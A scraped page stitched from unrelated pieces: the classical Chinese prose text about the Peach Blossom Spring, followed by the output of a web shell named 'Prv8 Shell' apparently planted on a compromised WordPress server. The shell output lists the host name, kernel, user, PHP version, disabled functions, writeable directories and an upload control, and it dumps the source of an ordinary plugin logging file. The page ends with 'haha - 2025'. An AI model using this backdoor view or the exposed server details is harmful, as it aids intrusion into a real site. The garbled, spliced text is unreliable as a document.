晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/digits/admin/includes/tabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/oldTZh/wp-content/plugins/digits/admin/includes/tabs/logs.php
<?php

if (!defined('ABSPATH')) {
    exit;
}

function digits_settings_message_logs()
{
    $nonce = wp_create_nonce('digits_admin_message_logs');
    ?>
    <div class="digits_log_table_container">
        <div class="digits_log_table_heading">
            <?php esc_attr_e('Digits Logs', 'digits'); ?>
        </div>
        <table id="digits_message_logs" data-nonce="<?php echo esc_attr($nonce); ?>">
            <thead>
            <tr>
                <th><?php esc_attr_e('Date & Time', 'digits'); ?></th>
                <th><?php esc_attr_e('To', 'digits'); ?></th>
                <th><?php esc_attr_e('Route', 'digits'); ?></th>
                <th><?php esc_attr_e('Action', 'digits'); ?></th>
                <th><?php esc_attr_e('Content', 'digits'); ?></th>
            </tr>
            </thead>
        </table>
    </div>
    <?php
    wp_enqueue_script('datatables', 'https://cdn.datatables.net/v/dt/jszip-2.5.0/dt-1.10.20/af-2.3.4/b-1.6.1/b-colvis-1.6.1/b-flash-1.6.1/b-html5-1.6.1/b-print-1.6.1/cr-1.5.2/fc-3.3.0/fh-3.1.6/kt-2.5.1/r-2.2.3/rg-1.1.1/rr-1.2.6/sc-2.0.1/sl-1.3.1/datatables.min.js', array(
        'jquery'
    ), null);

    wp_register_script('digits-admin-message-logs', get_digits_asset_uri('/admin/assets/js/logs.min.js'), array(
        'jquery',
        'datatables',
    ), digits_version(), true);

    $obj = array(
        'ajax_url' => admin_url('admin-ajax.php'),
    );
    wp_localize_script('digits-admin-message-logs', 'digmeslog', $obj);
    wp_enqueue_script('digits-admin-message-logs');

    ?>
    <style>
        #wpcontent {
            background-color: #fafafa;
        }
    </style>
    <?php

}

add_action('wp_ajax_digits_message_log_data', 'digits_message_log_data');
function digits_message_log_data()
{
    if (!current_user_can('manage_options')) {
        die();
    }
    if (!wp_verify_nonce($_REQUEST['nonce'], 'digits_admin_message_logs')) {
        die();
    }

    global $wpdb;

    $start = absint($_REQUEST['start']);
    $end = $start + absint($_REQUEST['length']);

    $table = $wpdb->prefix . 'digits_request_logs';
    $sql = "SELECT COUNT(*) FROM $table";
    $total_entries = $wpdb->get_var($sql);

    $query = "SELECT * FROM $table ORDER BY request_id DESC LIMIT %d,%d";
    $query = $wpdb->prepare($query, $start, $end);
    $logs = $wpdb->get_results($query);

    $results = array();
    $data = array();

    $gateway_names = [];
    foreach ($logs as $log) {
        if (!empty($log->email)) {
            $to = $log->email;
        } else {
            $to = $log->phone;
        }
        $mode = $log->mode;

        $route = digits_log_get_mode_label($mode);
        if ($mode == 'sms') {
            $gateway_id = $log->gateway_id;
            if (!empty($gateway_id)) {
                if (isset($gateway_names[$mode][$gateway_id])) {
                    $gateway_name = $gateway_names[$mode][$gateway_id];
                } else {
                    $gateway_name = digits_log_get_gateway_name($gateway_id);
                    $gateway_names[$mode][$gateway_id] = $gateway_name;
                }
                if (!empty($gateway_name)) {
                    $route = sprintf('%s (%s)', $route, $gateway_name);
                }
            }
        }


        $date = new DateTime($log->time);
        $date = date_format($date, "d M 'y h:i A");

        $action = '';
        if (!empty($log->request_type)) {
            $action = ucfirst($log->request_type);
        }
        $data[] = [
            'date_time' => $date,
            'to' => $to,
            'route' => $route,
            'action' => $action,
            'content' => $log->message,
        ];
    }

    $results['recordsTotal'] = $total_entries;
    $results['recordsFiltered'] = $total_entries;
    $results['data'] = $data;
    wp_send_json($results);
}


function digits_log_get_mode_label($mode)
{
    $mode = strtolower($mode);
    $modes = [
        'sms' => __('SMS', 'digits'),
        'email' => __('Email', 'digits'),
    ];
    return $modes[$mode];
}

function digits_log_get_gateway_name($gateway_no)
{
    $smsgateways = getGateWayArray();
    foreach ($smsgateways as $gateway_key => $gateway) {
        if ($gateway['value'] == $gateway_no) {
            if (isset($gateway['label'])) {
                return $gateway['label'];
            }
            return $gateway_key;
        }
    }
    return '';
}


haha - 2025